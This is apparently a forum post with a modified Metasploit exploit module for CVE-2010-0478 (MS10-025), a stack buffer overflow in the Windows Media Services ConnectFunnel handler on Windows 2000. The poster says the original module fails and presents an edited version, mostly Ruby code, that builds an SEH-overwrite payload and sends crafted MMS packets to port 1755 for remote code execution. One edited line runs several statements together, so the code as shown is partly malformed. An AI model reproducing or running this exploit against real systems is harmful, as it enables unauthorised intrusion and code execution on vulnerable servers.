Looks Like metasploit team added this exploit in the frame work in hurry . They are sending Current info & Transport info message in single packet that will never exploit the vulnerability ( Correct me).
here is the modified Code that should work .
##
# $Id: ms10_025_wmss_connect_funnel.rb 9101 2010-04-17 11:22:37Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the Windows Media
                Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
                crafted FunnelConnect request, an attacker can execute arbitrary code
                under the "NetShowServices" user account. Windows Media Services 4.1 ships
                with Windows 2000 Server, but is not installed by default.
                NOTE: This service does NOT restart automatically. Successful, as well as
                unsuccessful exploitation attempts will kill the service which prevents
                additional attempts.
            },
            'Author'         => 'jduck',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9101 $',
            'References'     =>
                [
                    [ 'CVE', '2010-0478' ],
                    [ 'OSVDB', '63726' ],
                    [ 'MSB', 'MS10-025' ],
                    [ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space'    => 600,
                    'BadChars' => "\x00\x5c",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows 2000 Pro SP4 English',
                        {
                            # SEH handler offset is 840
                            # Stack return is at 652
                            'Offset' => 840,
                            'Ret' => 0x75022ac4 # p/p/r in ws2help.dll
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Apr 13 2010',
            'DefaultTarget'  => 0))
        register_options(
            [
                Opt::RPORT(1755)
            ], self.class)
    end
    def exploit
        @pkts = 0
        cmd_buf = ''
        # LinkViewerToMacConnect
        subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
        #subscriber = "NSPlayer/7.0.0.1956; {}; Host: The.Host.Net"
        #subscriber = "Spooooon!"
        subscriber << "\x00"
        subscriber = Rex::Text.to_unicode(subscriber)
        cmd_buf << make_command(0x30001, subscriber)
        # LinkViewerToMacConnectFunnel
        #name = Rex::Text.pattern_create(512)
        name = ''
        name << "\\\\"
        name << rand_text((target['Offset'] + 4 + 5) / 2)
        name << "\\"
        name << "\x00"
        # Convert it to Unicode..
        name = Rex::Text.to_unicode(name)       
        # Insert the return address..
        name[4,payload.encoded.length] = payload.encoded
        # Build the SEH frame that leads to the payload...
        seh = generate_seh_record(target.ret)
        asm = "add edi, 0x04\njmp edi"
        seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
        name[target['Offset'],seh.length] = seh        
##sumit start        pkt = make_tcpmsghdr(cmd_buf)        connect        sock.put(pkt)                ##sumit done        cmd_buf = ''        # Add it to the command buffer..
        cmd_buf << make_command(0x30002, name)
        # Build the TcpMessageHeader ..
        pkt = make_tcpmsghdr(cmd_buf)
        print_status("Sending crafy commands (#{pkt.length} bytes) ...")
        # Handle the transacation..
        #connect
        sock.put(pkt)
        handler
        disconnect
    end
    #
    # Create a TcpMessageHeader from the supplied data
    #
    def make_tcpmsghdr(data)
        len = data.length
        # The server doesn't like packets that are bigger...
        raise RuntimeError, 'Length too big' if (len > 0x1000)
        len /= 8       
        # Pack the pieces in ...
        pkt = [
            1,0,0,0,           # rep, ver, verMinor, pad
            0xb00bface,        # session id (nice)
            data.length + 16,  # msg len
            0x20534d4d,        # seal ("MMS ")
            len + 2,           # chunkCount
            @pkts, 0,          # seq, MBZ
            rand(0xffffffff),rand(0xffffffff) # timeSent -- w/e
        ].pack('CCCCVVVVvvVV')
        # Add the data
        pkt << data
        # Pad it to 8 bytes...
        left = data.length % 8
        pkt << ("\x00" * (8 - left)) if (left > 0)
        pkt
    end
    #
    # Create a command packet
    #
    def make_command(msg_id, extra)
        # Two opcodes, get handled differently..
        case msg_id
        when 0x30001
            data = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')
        when 0x30002
            data = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')
        end
        # Put some data on...
        data << extra
        # Pad it to 8 bytes...
        left = data.length % 8
        data << ("\x00" * (8 - left)) if (left > 0)
        # Combine the pieces..
        pkt = [
            (data.length / 8) + 1,  # chunkLen
            msg_id                  # msg ID
        ].pack('VV')
        pkt << data
        pkt
    end
end